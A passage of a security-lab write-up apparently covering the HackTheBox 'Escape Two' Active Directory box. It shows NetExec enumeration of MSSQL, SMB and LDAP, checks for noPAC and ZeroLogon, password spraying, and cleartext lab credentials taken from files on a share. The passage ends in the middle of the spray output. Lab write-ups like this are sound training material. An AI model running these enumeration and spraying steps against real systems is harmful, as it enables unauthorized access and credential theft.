> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hackthebox/escape-two.md). # Escape Two ## Scope and Credentials ```jsx rose / KxEPkKe6R8su ``` ## Enumeration ### Pingsweep ```jsx ┌──(kali㉿kali)-[~/Downloads] └─$ cat pingsweep.txt | grep '1 received' -B 1 --- 10.129.42.224 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms ``` ### Rustscan / Nmap {% code overflow="wrap" expandable="true" %} ```jsx PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-04 19:12:24Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Issuer: commonName=sequel-DC01-CA/domainComponent=sequel | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-26T11:46:45 | Not valid after: 2124-06-08T17:00:40 | MD5: b55a a63f 50ba ed44 f865 820a 5b8e f493 | SHA-1: a87b 9555 5164 74d3 f73f bded 72e7 baab db76 c12a | SHA-256: cf83 b653 43df 3ffb 1a19 69c8 300f daec 9b9c 3b17 66b1 3f48 a14d c0ac 4e7c 0cdb | -----BEGIN CERTIFICATE----- |_-----END CERTIFICATE----- |_ssl-date: 2026-01-04T19:14:05+00:00; -1s from scanner time. 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-01-04T19:14:05+00:00; -1s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Issuer: commonName=sequel-DC01-CA/domainComponent=sequel | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-26T11:46:45 | Not valid after: 2124-06-08T17:00:40 | MD5: b55a a63f 50ba ed44 f865 820a 5b8e f493 | SHA-1: a87b 9555 5164 74d3 f73f bded 72e7 baab db76 c12a | SHA-256: cf83 b653 43df 3ffb 1a19 69c8 300f daec 9b9c 3b17 66b1 3f48 a14d c0ac 4e7c 0cdb | -----BEGIN CERTIFICATE----- |_-----END CERTIFICATE----- 1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.129.42.224:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ms-sql-info: | 10.129.42.224:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2026-01-04T19:14:05+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Issuer: commonName=SSL_Self_Signed_Fallback | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-01-04T18:40:19 | Not valid after: 2056-01-04T18:40:19 | MD5: 850a cd6d a715 808b 061b 1316 13c9 537e | SHA-1: 1e20 a031 12e7 ee45 575d b038 de66 7117 03bf bdaf | SHA-256: e08d 6125 aaf0 0f2c 6a90 ac8d d2c3 4d4f e9bb e096 f8b0 caac 6b86 7dfc edbd 6cb6 |_-----END CERTIFICATE----- 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Issuer: commonName=sequel-DC01-CA/domainComponent=sequel | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-26T11:46:45 | Not valid after: 2124-06-08T17:00:40 | MD5: b55a a63f 50ba ed44 f865 820a 5b8e f493 | SHA-1: a87b 9555 5164 74d3 f73f bded 72e7 baab db76 c12a | SHA-256: cf83 b653 43df 3ffb 1a19 69c8 300f daec 9b9c 3b17 66b1 3f48 a14d c0ac 4e7c 0cdb | -----BEGIN CERTIFICATE----- |_-----END CERTIFICATE----- |_ssl-date: 2026-01-04T19:14:05+00:00; -1s from scanner time. 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-01-04T19:14:05+00:00; -1s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Issuer: commonName=sequel-DC01-CA/domainComponent=sequel | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-26T11:46:45 | Not valid after: 2124-06-08T17:00:40 | MD5: b55a a63f 50ba ed44 f865 820a 5b8e f493 | SHA-1: a87b 9555 5164 74d3 f73f bded 72e7 baab db76 c12a | SHA-256: cf83 b653 43df 3ffb 1a19 69c8 300f daec 9b9c 3b17 66b1 3f48 a14d c0ac 4e7c 0cdb | -----BEGIN CERTIFICATE----- |_-----END CERTIFICATE----- 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49687/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49688/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49693/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49704/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49726/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49730/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49799/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.98%E=4%D=1/4%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=695ABBFF%P=x86_64-pc-linux-gnu) SEQ(SP=105%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=U) SEQ(SP=105%GCD=1%ISR=10D%TI=I%TS=U) OPS(O1=M552NW8NNS%O2=M552NW8NNS%O3=M552NW8%O4=M552NW8NNS%O5=M552NW8NNS%O6=M552NNS) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70) ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=N) U1(R=N) IE(R=Y%DFI=N%TG=80%CD=Z) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-01-04T19:13:30 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 45657/tcp): CLEAN (Timeout) | Check 2 (port 13269/tcp): CLEAN (Timeout) | Check 3 (port 7591/udp): CLEAN (Timeout) | Check 4 (port 45755/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_clock-skew: mean: -1s, deviation: 0s, median: -1s TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 1 51.77 ms 10.10.14.1 2 53.04 ms 10.129.42.224 ``` {% endcode %} It seems that the box is pointing us towards 1433 with the name of it: ```jsx DC01.sequel.htb sequel.htb ``` ### nxc preliminary enumeration ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --rid-brute ``` {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo/discovery] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --rid-brute MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su MSSQL 10.129.42.224 1433 DC01 498: SEQUEL\\Enterprise Read-only Domain Controllers MSSQL 10.129.42.224 1433 DC01 500: SEQUEL\\Administrator MSSQL 10.129.42.224 1433 DC01 501: SEQUEL\\Guest MSSQL 10.129.42.224 1433 DC01 502: SEQUEL\\krbtgt MSSQL 10.129.42.224 1433 DC01 512: SEQUEL\\Domain Admins MSSQL 10.129.42.224 1433 DC01 513: SEQUEL\\Domain Users MSSQL 10.129.42.224 1433 DC01 514: SEQUEL\\Domain Guests MSSQL 10.129.42.224 1433 DC01 515: SEQUEL\\Domain Computers MSSQL 10.129.42.224 1433 DC01 516: SEQUEL\\Domain Controllers MSSQL 10.129.42.224 1433 DC01 517: SEQUEL\\Cert Publishers MSSQL 10.129.42.224 1433 DC01 518: SEQUEL\\Schema Admins MSSQL 10.129.42.224 1433 DC01 519: SEQUEL\\Enterprise Admins MSSQL 10.129.42.224 1433 DC01 520: SEQUEL\\Group Policy Creator Owners MSSQL 10.129.42.224 1433 DC01 521: SEQUEL\\Read-only Domain Controllers MSSQL 10.129.42.224 1433 DC01 522: SEQUEL\\Cloneable Domain Controllers MSSQL 10.129.42.224 1433 DC01 525: SEQUEL\\Protected Users MSSQL 10.129.42.224 1433 DC01 526: SEQUEL\\Key Admins MSSQL 10.129.42.224 1433 DC01 527: SEQUEL\\Enterprise Key Admins MSSQL 10.129.42.224 1433 DC01 553: SEQUEL\\RAS and IAS Servers MSSQL 10.129.42.224 1433 DC01 571: SEQUEL\\Allowed RODC Password Replication Group MSSQL 10.129.42.224 1433 DC01 572: SEQUEL\\Denied RODC Password Replication Group MSSQL 10.129.42.224 1433 DC01 1000: SEQUEL\\DC01$ MSSQL 10.129.42.224 1433 DC01 1101: SEQUEL\\DnsAdmins MSSQL 10.129.42.224 1433 DC01 1102: SEQUEL\\DnsUpdateProxy MSSQL 10.129.42.224 1433 DC01 1103: SEQUEL\\michael MSSQL 10.129.42.224 1433 DC01 1114: SEQUEL\\ryan MSSQL 10.129.42.224 1433 DC01 1116: SEQUEL\\oscar MSSQL 10.129.42.224 1433 DC01 1122: SEQUEL\\sql_svc MSSQL 10.129.42.224 1433 DC01 1128: SEQUEL\\SQLServer2005SQLBrowserUser$DC01 MSSQL 10.129.42.224 1433 DC01 1129: SEQUEL\\SQLRUserGroupSQLEXPRESS MSSQL 10.129.42.224 1433 DC01 1601: SEQUEL\\rose MSSQL 10.129.42.224 1433 DC01 1602: SEQUEL\\Management Department MSSQL 10.129.42.224 1433 DC01 1603: SEQUEL\\Sales Department MSSQL 10.129.42.224 1433 DC01 1604: SEQUEL\\Accounting Department MSSQL 10.129.42.224 1433 DC01 1605: SEQUEL\\Reception Department MSSQL 10.129.42.224 1433 DC01 1606: SEQUEL\\Human Resources Department MSSQL 10.129.42.224 1433 DC01 1607: SEQUEL\\ca_svc ``` {% endcode %} #### Found the following users: * oscar * ryan * michael * ca\_svc Now testing for password re-use: {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc ldap 10.129.42.224 -u users.txt -p 'KxEPkKe6R8su' --no-bruteforce --continue-on-success LDAP 10.129.42.224 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\oscar:KxEPkKe6R8su LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ryan:KxEPkKe6R8su LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\michael:KxEPkKe6R8su LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ca_svc:KxEPkKe6R8su LDAP 10.129.42.224 389 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\administrator:KxEPkKe6R8su ``` {% endcode %} * Nothing there ### 1433 (mssql) Windows Auth {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' #used this way because 445 is open, otherwise would use -d sequel.htb ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su ``` {% endcode %} Local Auth {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --local-auth ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --local-auth MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [-] DC01\\rose:KxEPkKe6R8su (Login failed for user 'rose'. Please try again with or without '--local-auth') ``` {% endcode %} * This did not succeed mssql\_priv Module {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M mssql_priv ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M mssql_priv MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su ``` {% endcode %} * This didn’t succeed Impersonating {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M mssql_priv -o ACTION=privesc ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M mssql_priv -o ACTION=privesc MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su MSSQL_PRIV 10.129.42.224 1433 DC01 [-] can't find any path to privesc ``` {% endcode %} * No path found #### Executing commands {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -q 'SELECT name FROM master.dbo.sysdatabases;' ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -q 'SELECT name FROM master.dbo.sysdatabases;' MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su MSSQL 10.129.42.224 1433 DC01 name:master MSSQL 10.129.42.224 1433 DC01 name:tempdb MSSQL 10.129.42.224 1433 DC01 name:model MSSQL 10.129.42.224 1433 DC01 name:msdb ``` {% endcode %} Download / Upload MSSQL file {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --put-file /tmp/users C:\\\\Windows\\\\Temp\\\\whoami.txt ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --put-file /tmp/users C:\\\\Windows\\\\Temp\\\\whoami.txt MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su ``` {% endcode %} * Didn’t seem to work Execute Windows Command {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -x whoami ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -x whoami MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su ``` {% endcode %} Will probably need to come back to this, with another tool to log in and enumerate the databases *** ### SMB (445) Generate krb5.conf file ```bash nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --generate-krb5-file /path ``` ZeroLogon * Not successful noPAC {% code overflow="wrap" %} ```bash ──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M nopac SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su NOPAC 10.129.42.224 445 DC01 TGT with PAC size 1520 NOPAC 10.129.42.224 445 DC01 TGT without PAC size 1520 ``` {% endcode %} * Not successful #### Enumerating READ/WRITE on shares {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --shares SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su SMB 10.129.42.224 445 DC01 [*] Enumerated shares SMB 10.129.42.224 445 DC01 Share Permissions Remark SMB 10.129.42.224 445 DC01 ----- ----------- ------ SMB 10.129.42.224 445 DC01 Accounting Department READ SMB 10.129.42.224 445 DC01 ADMIN$ Remote Admin SMB 10.129.42.224 445 DC01 C$ Default share SMB 10.129.42.224 445 DC01 IPC$ READ Remote IPC SMB 10.129.42.224 445 DC01 NETLOGON READ Logon server share SMB 10.129.42.224 445 DC01 SYSVOL READ Logon server share SMB 10.129.42.224 445 DC01 Users READ ``` {% endcode %} * We READ on a couple of interesting shares: * Accounting Department * Users Enumerate Network Interfaces ```bash nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --interfaces ``` * Nothing found #### Enumerate Users using SMB {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --users SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su SMB 10.129.42.224 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.42.224 445 DC01 Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain SMB 10.129.42.224 445 DC01 Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain SMB 10.129.42.224 445 DC01 krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account SMB 10.129.42.224 445 DC01 michael 2024-06-08 16:47:37 0 SMB 10.129.42.224 445 DC01 ryan 2024-06-08 16:55:45 0 SMB 10.129.42.224 445 DC01 oscar 2024-06-08 16:56:36 0 SMB 10.129.42.224 445 DC01 sql_svc 2024-06-09 07:58:42 0 SMB 10.129.42.224 445 DC01 rose 2024-12-25 14:44:54 0 SMB 10.129.42.224 445 DC01 ca_svc 2026-01-04 20:07:28 0 ``` {% endcode %} #### Local Groups {% code overflow="wrap" expandable="true" %} ```bash sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --local-group ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --local-group SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su SMB 10.129.42.224 445 DC01 [*] Enumerating with SAMRPC protocol SMB 10.129.42.224 445 DC01 [+] Enumerated local groups SMB 10.129.42.224 445 DC01 549 - Server Operators SMB 10.129.42.224 445 DC01 548 - Account Operators SMB 10.129.42.224 445 DC01 554 - Pre-Windows 2000 Compatible Access SMB 10.129.42.224 445 DC01 557 - Incoming Forest Trust Builders SMB 10.129.42.224 445 DC01 560 - Windows Authorization Access Group SMB 10.129.42.224 445 DC01 561 - Terminal Server License Servers SMB 10.129.42.224 445 DC01 544 - Administrators SMB 10.129.42.224 445 DC01 545 - Users SMB 10.129.42.224 445 DC01 546 - Guests SMB 10.129.42.224 445 DC01 550 - Print Operators SMB 10.129.42.224 445 DC01 551 - Backup Operators SMB 10.129.42.224 445 DC01 552 - Replicator SMB 10.129.42.224 445 DC01 555 - Remote Desktop Users SMB 10.129.42.224 445 DC01 556 - Network Configuration Operators SMB 10.129.42.224 445 DC01 558 - Performance Monitor Users SMB 10.129.42.224 445 DC01 559 - Performance Log Users SMB 10.129.42.224 445 DC01 562 - Distributed COM Users SMB 10.129.42.224 445 DC01 568 - IIS_IUSRS SMB 10.129.42.224 445 DC01 569 - Cryptographic Operators SMB 10.129.42.224 445 DC01 573 - Event Log Readers SMB 10.129.42.224 445 DC01 574 - Certificate Service DCOM Access SMB 10.129.42.224 445 DC01 575 - RDS Remote Access Servers SMB 10.129.42.224 445 DC01 576 - RDS Endpoint Servers SMB 10.129.42.224 445 DC01 577 - RDS Management Servers SMB 10.129.42.224 445 DC01 578 - Hyper-V Administrators SMB 10.129.42.224 445 DC01 579 - Access Control Assistance Operators SMB 10.129.42.224 445 DC01 580 - Remote Management Users SMB 10.129.42.224 445 DC01 582 - Storage Replica Administrators SMB 10.129.42.224 445 DC01 517 - Cert Publishers SMB 10.129.42.224 445 DC01 553 - RAS and IAS Servers SMB 10.129.42.224 445 DC01 571 - Allowed RODC Password Replication Group SMB 10.129.42.224 445 DC01 572 - Denied RODC Password Replication Group SMB 10.129.42.224 445 DC01 1101 - DnsAdmins SMB 10.129.42.224 445 DC01 1128 - SQLServer2005SQLBrowserUser$DC01 SMB 10.129.42.224 445 DC01 1129 - SQLRUserGroupSQLEXPRESS ``` {% endcode %} #### Password Policy {% code overflow="wrap" expandable="true" %} ```bash sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --pass-pol ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' --pass-pol SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su SMB 10.129.42.224 445 DC01 [+] Dumping password info for domain: SEQUEL SMB 10.129.42.224 445 DC01 Minimum password length: 7 SMB 10.129.42.224 445 DC01 Password history length: 24 SMB 10.129.42.224 445 DC01 Maximum password age: 41 days 23 hours 53 minutes SMB 10.129.42.224 445 DC01 SMB 10.129.42.224 445 DC01 Password Complexity Flags: 000000 SMB 10.129.42.224 445 DC01 Domain Refuse Password Change: 0 SMB 10.129.42.224 445 DC01 Domain Password Store Cleartext: 0 SMB 10.129.42.224 445 DC01 Domain Password Lockout Admins: 0 SMB 10.129.42.224 445 DC01 Domain Password No Clear Change: 0 SMB 10.129.42.224 445 DC01 Domain Password No Anon Change: 0 SMB 10.129.42.224 445 DC01 Domain Password Complex: 0 SMB 10.129.42.224 445 DC01 SMB 10.129.42.224 445 DC01 Minimum password age: 1 day 4 minutes SMB 10.129.42.224 445 DC01 Reset Account Lockout Counter: 10 minutes SMB 10.129.42.224 445 DC01 Locked Account Duration: 10 minutes SMB 10.129.42.224 445 DC01 Account Lockout Threshold: None SMB 10.129.42.224 445 DC01 Forced Log off Time: Not Set ``` {% endcode %} * No password complexity * 7 min characters * No account lockout (so good to bruteforce passwords if necessary) #### Enum AV and EDR {% code overflow="wrap" %} ```bash sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M enum_av ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M enum_av SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\rose:KxEPkKe6R8su ENUM_AV 10.129.42.224 445 DC01 Found Windows Defender INSTALLED ``` {% endcode %} #### Using spider\_plus to dump READ shares ```bash sudo nxc smb 10.129.42.224 -u rose -p 'KxEPkKe6R8su' -M spider_plus -o DOWNLOAD_FLAG=True ``` * Downloaded a list of all of the files * See a couple of XLSX files that could be interesting * In `Users`, I see a potentially interesting zip file ## Found passwords to users! ```bash First Name | Last Name | Email | Username | Password -----------|-----------|------------------|----------|------------------ Angela | Martin | angela@sequel.htb| angela | 0fwz7Q4mSpurIt99 Oscar | Martinez | oscar@sequel.htb | oscar | 86LxLBMgEWaKUnBG Kevin | Malone | kevin@sequel.htb | kevin | Md9Wlq1E5bZnVDVo NULL | NULL | sa@sequel.htb | sa | MSSQLP@ssw0rd! ``` Checking for password re-use, and it looks like `oscar` is the only one that has a password that works? Simulating that they’ve changed the password? {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc ldap 10.129.42.224 -u users.txt -p passwords.txt --continue-on-success LDAP 10.129.42.224 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\oscar:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ryan:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\michael:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ca_svc:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\rose:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\administrator:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\angela:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\sa:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\kevin:0fwz7Q4mSpurIt99 LDAP 10.129.42.224 389 DC01 [+] sequel.htb\\oscar:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ryan:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\michael:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ca_svc:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\rose:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\administrator:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\angela:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\sa:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\kevin:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ryan:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\michael:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ca_svc:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\rose:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\administrator:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] 